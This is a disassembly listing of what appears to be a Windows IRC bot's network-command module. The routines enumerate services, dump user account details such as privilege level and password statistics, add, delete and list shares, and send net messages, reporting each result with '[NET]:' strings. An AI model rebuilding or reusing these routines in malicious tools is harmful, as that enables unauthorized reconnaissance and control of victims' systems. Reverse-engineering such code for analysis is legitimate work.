		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	168h
		lea	eax, [ebp+var_18C]
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43A470	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_407A56
		call	dword_422004	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_407B0D


loc_407A56:				; CODE XREF: sub_4079E4+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_407B04
		lea	esi, [ebp+var_188]


loc_407A67:				; CODE XREF: sub_4079E4+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_407AB3
		dec	eax
		jz	short loc_407AAC
		dec	eax
		jz	short loc_407AA5
		dec	eax
		jz	short loc_407A9E
		dec	eax
		jz	short loc_407A97
		dec	eax
		jz	short loc_407A90
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_407A89
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_407ABB
; ---------------------------------------------------------------------------


loc_407A89:				; CODE XREF: sub_4079E4+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_407ABB
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_4079E4+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_407AB8
; ---------------------------------------------------------------------------


loc_407A97:				; CODE XREF: sub_4079E4+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_407AB8
; ---------------------------------------------------------------------------


loc_407A9E:				; CODE XREF: sub_4079E4+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_407AB8
; ---------------------------------------------------------------------------


loc_407AA5:				; CODE XREF: sub_4079E4+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_407AB8
; ---------------------------------------------------------------------------


loc_407AAC:				; CODE XREF: sub_4079E4+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_407AB8
; ---------------------------------------------------------------------------


loc_407AB3:				; CODE XREF: sub_4079E4+87j
		push	offset aStopped	; "    Stopped"


loc_407AB8:				; CODE XREF: sub_4079E4+B1j
					; sub_4079E4+B8j ...
		lea	eax, [ebp+var_20]


loc_407ABB:				; CODE XREF: sub_4079E4+A3j
					; sub_4079E4+AAj
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		lea	eax, [ebp+var_20]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_416905
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_407A67


loc_407B04:				; CODE XREF: sub_4079E4+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_407A1C


loc_407B0D:				; CODE XREF: sub_4079E4+6Cj
		push	[ebp+var_C]
		call	dword_43A3CC	; CloseServiceHandle
		xor	eax, eax
		cmp	eax, [ebp+var_4]
		pop	edi
		sbb	eax, eax
		pop	esi
		neg	eax
		pop	ebx
		leave
		retn
sub_4079E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B24	proc near		; CODE XREF: sub_407BE6+Ap
					; sub_407BE6+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_407B31
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_407B31:				; CODE XREF: sub_407B24+9j
		push	ebx
		push	esi
		mov	esi, dword_4220D4
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41797C
		pop	ecx
		push	edi
		mov	ebx, eax
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_407B24	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B65	proc near		; CODE XREF: sub_4112AD+248p

arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_20		= dword	ptr  24h

		mov	eax, offset loc_421EBD
		call	sub_417DE0
		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_10],	esi
		jnz	short loc_407B7C
		xor	eax, eax
		jmp	short loc_407BD8
; ---------------------------------------------------------------------------


loc_407B7C:				; CODE XREF: sub_407B65+11j
		push	ebx
		push	ebp
		push	edi
		mov	edi, dword_4220D8
		push	esi
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[esp+24h+arg_10]
		mov	ebx, 400h
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte ptr dword_43A7C8, 1
		mov	ebp, eax
		jnz	short loc_407BBD
		or	dword_43A7C8, 1
		lea	eax, [ebp+1]
		push	eax
		mov	[esp+4+arg_14],	esi
		call	sub_41797C
		pop	ecx
		mov	dword_43A7C4, eax


loc_407BBD:				; CODE XREF: sub_407B65+3Cj
		push	esi
		push	esi
		push	ebp
		push	dword_43A7C4
		push	0FFFFFFFFh
		push	[esp+14h+arg_20]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_43A7C4
		pop	edi
		pop	ebp
		pop	ebx


loc_407BD8:				; CODE XREF: sub_407B65+15j
		mov	ecx, [esp+4]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_407B65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BE6	proc near		; CODE XREF: sub_408321+6Cp
					; sub_4115D4+18Fp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	[ebp+arg_0]
		call	sub_407B24
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_407B24
		push	24h
		push	[ebp+arg_4]
		mov	[ebp+var_24], eax
		call	sub_417E10
		push	[ebp+arg_8]
		neg	eax
		sbb	eax, eax
		and	[ebp+var_1C], 0
		or	[ebp+var_14], 0FFFFFFFFh
		and	[ebp+var_10], 0
		and	eax, 80000000h
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], 7Fh
		call	sub_407B24
		and	[ebp+var_8], 0
		add	esp, 14h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	2
		push	edi
		call	dword_43A384
		pop	edi
		leave
		retn
sub_407BE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_407C51	proc near		; CODE XREF: sub_408321+20p
					; sub_4112AD+1BDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_407B24
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_407B24
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43A3A0
		pop	esi
		retn
sub_407C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C74	proc near		; CODE XREF: sub_4084FE+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_407B24
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_407B24
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_407B24
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	[ebp+var_20], eax
		xor	eax, eax
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43A368
		pop	edi
		leave
		retn
sub_407C74	endp


; =============== S U B	R O U T	I N E =======================================



sub_407CCE	proc near		; CODE XREF: sub_4084FE+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_407B24
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_407B24
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43A46C
		pop	esi
		retn
sub_407CCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CEF	proc near		; CODE XREF: sub_4084FE+2Dp

var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_407B24
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_407B24
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43A388
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_40807C
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4080B7
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_208]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_416905
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_208]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		mov	eax, [eax+10h]
		add	esp, 40h
		sub	eax, 0
		jz	short loc_407E08
		dec	eax
		jz	short loc_407E01
		dec	eax
		jz	short loc_407DFA
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_407E0D
; ---------------------------------------------------------------------------


loc_407DFA:				; CODE XREF: sub_407CEF+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_407E0D
; ---------------------------------------------------------------------------


loc_407E01:				; CODE XREF: sub_407CEF+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_407E0D
; ---------------------------------------------------------------------------


loc_407E08:				; CODE XREF: sub_407CEF+FCj
		mov	eax, offset aGuest ; "Guest"


loc_407E0D:				; CODE XREF: sub_407CEF+109j
					; sub_407CEF+110j ...
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_208]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_208]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_208]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_208]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_208]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_208]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_208]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_208]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_208]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_208]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_208]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_208]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_416905
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_405D20
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4080A8
; ---------------------------------------------------------------------------


loc_40807C:				; CODE XREF: sub_407CEF+35j
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aNetUserInfoErr ; "[NET]: User info error: <%ld>"
		push	eax
		call	sub_416905
		push	0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_405D20
		add	esp, 20h


loc_4080A8:				; CODE XREF: sub_407CEF+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4080B7
		push	[ebp+var_4]
		call	dword_43A3D8


loc_4080B7:				; CODE XREF: sub_407CEF+40j
					; sub_407CEF+3BDj
		mov	eax, [ebp+var_8]
		pop	esi
		leave
		retn
sub_407CEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4080BD	proc near		; CODE XREF: sub_4081ED+9Ep
					; sub_408321:loc_408361p ...
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40816B
		jz	loc_408164
		cmp	eax, 7Bh
		ja	short loc_408130
		jz	short loc_408126
		cmp	eax, 5
		jz	short loc_40811C
		cmp	eax, 8
		jz	short loc_408112
		cmp	eax, 32h
		jz	short loc_408108
		cmp	eax, 35h
		jz	short loc_4080FE
		cmp	eax, 57h
		jnz	loc_4081BA
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_4080FE:				; CODE XREF: sub_4080BD+2Cj
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_408108:				; CODE XREF: sub_4080BD+27j
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_408112:				; CODE XREF: sub_4080BD+22j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_40811C:				; CODE XREF: sub_4080BD+1Dj
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_408126:				; CODE XREF: sub_4080BD+18j
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_408130:				; CODE XREF: sub_4080BD+16j
		sub	eax, 7Ch
		jz	short loc_40815D
		sub	eax, 7C8h
		jz	short loc_408156
		dec	eax
		jz	short loc_40814C
		dec	eax
		jnz	short loc_4081BA
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_40814C:				; CODE XREF: sub_4080BD+80j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4081DB
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_4080BD+7Dj
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_40815D:				; CODE XREF: sub_4080BD+76j
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_408164:				; CODE XREF: sub_4080BD+Dj
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_40816B:				; CODE XREF: sub_4080BD+7j
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_4081A4
		jz	short loc_40819D
		sub	eax, 8ADh
		jz	short loc_4081CF
		dec	eax
		dec	eax
		jz	short loc_408196
		dec	eax
		jz	short loc_40818F
		dec	eax
		dec	eax
		jnz	short loc_4081BA
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_40818F:				; CODE XREF: sub_4080BD+C5j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_408196:				; CODE XREF: sub_4080BD+C2j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_40819D:				; CODE XREF: sub_4080BD+B7j
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_4081A4:				; CODE XREF: sub_4080BD+B5j
		sub	eax, 8CAh
		jz	short loc_4081D6
		sub	eax, 17h
		jz	short loc_4081CF
		sub	eax, 25h
		jz	short loc_4081C8
		sub	eax, 29h
		jz	short loc_4081C1


loc_4081BA:				; CODE XREF: sub_4080BD+31j
					; sub_4080BD+83j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_4081C1:				; CODE XREF: sub_4080BD+FBj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_4081C8:				; CODE XREF: sub_4080BD+F6j
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_4081CF:				; CODE XREF: sub_4080BD+BEj
					; sub_4080BD+F1j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4081DB
; ---------------------------------------------------------------------------


loc_4081D6:				; CODE XREF: sub_4080BD+ECj
		push	offset aNetworkConnect ; "Network connection not found."


loc_4081DB:				; CODE XREF: sub_4080BD+3Cj
					; sub_4080BD+46j ...
		push	offset dword_43A7D0
		call	sub_416905
		pop	ecx
		pop	ecx
		mov	eax, offset dword_43A7D0
		retn
sub_4080BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081ED	proc near		; CODE XREF: sub_409806+20E5p

var_71C		= byte ptr -71Ch
var_31C		= byte ptr -31Ch
var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 71Ch
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_417FDA
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		mov	esi, 108h
		push	eax
		mov	[ebp+var_4], esi
		call	dword_4220DC	; GetComputerNameA
		push	esi
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_417FDA
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_417ECE
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_71C]
		push	eax
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	0
		call	dword_43A3B0
		test	eax, eax
		jnz	short loc_40827D
		push	offset aNetMessageSent ; "[NET]: Message sent successfully."
		mov	esi, offset dword_43A830
		push	esi
		call	sub_416905
		pop	ecx
		pop	ecx
		jmp	short loc_4082A4
; ---------------------------------------------------------------------------


loc_40827D:				; CODE XREF: sub_4081ED+7Aj
		lea	ecx, [ebp+var_71C]
		push	ecx
		lea	ecx, [ebp+var_31C]
		push	ecx
		call	sub_4080BD
		push	eax
		push	offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>"
		mov	esi, offset dword_43A830
		push	esi
		call	sub_416905
		add	esp, 14h


loc_4082A4:				; CODE XREF: sub_4081ED+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4081ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_4082A9	proc near		; CODE XREF: sub_409806:loc_40B6F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4082FF
		push	0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	dword_42ED10[esi]
		push	edi
		push	eax
		call	sub_4077C8
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4082F1
		push	edi
		push	off_42ED0C[esi]
		push	offset aNetSServiceS_ ;	"[NET]:	%s service: '%s'."


loc_4082E1:				; CODE XREF: sub_4082A9+54j
		mov	esi, offset dword_43AA30
		push	esi
		call	sub_416905
		add	esp, 10h
		jmp	short loc_40831C
; ---------------------------------------------------------------------------


loc_4082F1:				; CODE XREF: sub_4082A9+2Aj
		call	sub_40786A
		push	eax
		push	edi
		push	offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s"
		jmp	short loc_4082E1
; ---------------------------------------------------------------------------


loc_4082FF:				; CODE XREF: sub_4082A9+Cj
		lea	eax, [eax+eax*2]
		push	off_42ED08[eax*4]
		mov	esi, offset dword_43AA30
		push	offset aNetSNoServiceS ; "[NET]: %s: No	service	specified."
		push	esi
		call	sub_416905
		add	esp, 0Ch


loc_40831C:				; CODE XREF: sub_4082A9+46j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_4082A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408321	proc near		; CODE XREF: sub_409806:loc_40B7D8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4083B9
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40834A
		dec	eax
		jnz	short loc_408399
		push	edi
		push	0
		call	sub_407C51
		pop	ecx
		pop	ecx
		jmp	short loc_408395
; ---------------------------------------------------------------------------


loc_40834A:				; CODE XREF: sub_408321+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_408387
		push	24h
		push	edi
		call	sub_417E10
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_408387
		push	57h
		pop	eax


loc_408361:				; CODE XREF: sub_408321+76j
		call	sub_4080BD
		push	eax
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42ED08[eax*4]
		mov	esi, offset dword_43AC30
		push	offset aNetSErrorWithS ; "[NET]: %s: Error with	share: '%s'. %s"
		push	esi
		call	sub_416905
		add	esp, 14h
		jmp	short loc_4083D9
; ---------------------------------------------------------------------------


loc_408387:				; CODE XREF: sub_408321+2Dj
					; sub_408321+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_407BE6
		add	esp, 0Ch


loc_408395:				; CODE XREF: sub_408321+27j
		test	eax, eax
		jnz	short loc_408361


loc_408399:				; CODE XREF: sub_408321+1Bj
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42ED0C[eax*4]
		mov	esi, offset dword_43AC30
		push	offset aNetSShareS_ ; "[NET]: %s share:	'%s'."
		push	esi
		call	sub_416905
		add	esp, 10h
		jmp	short loc_4083D9
; ---------------------------------------------------------------------------


loc_4083B9:				; CODE XREF: sub_408321+Aj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42ED08[eax*4]
		mov	esi, offset dword_43AC30
		push	offset aNetSNoShareSpe ; "[NET]: %s: No	share specified."
		push	esi
		call	sub_416905
		add	esp, 0Ch


loc_4083D9:				; CODE XREF: sub_408321+64j
					; sub_408321+96j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_408321	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083DF	proc near		; CODE XREF: sub_409806+1FFFp

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_407B24
		xor	esi, esi
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_10], eax
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		mov	[ebp+var_4], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_C], esi
		call	sub_405D20
		add	esp, 18h


loc_408418:				; CODE XREF: sub_4083DF+10Dj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	[ebp+var_10]
		call	dword_43A4A4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_408479
		cmp	ebx, 0EAh
		jz	short loc_408479
		push	ebx
		call	sub_4080BD
		push	eax
		lea	eax, [ebp+var_214]
		push	offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>"
		push	eax
		call	sub_416905
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 24h
		jmp	short loc_4084E6
; ---------------------------------------------------------------------------


loc_408479:				; CODE XREF: sub_4083DF+5Dj
					; sub_4083DF+65j
		xor	edi, edi
		inc	edi
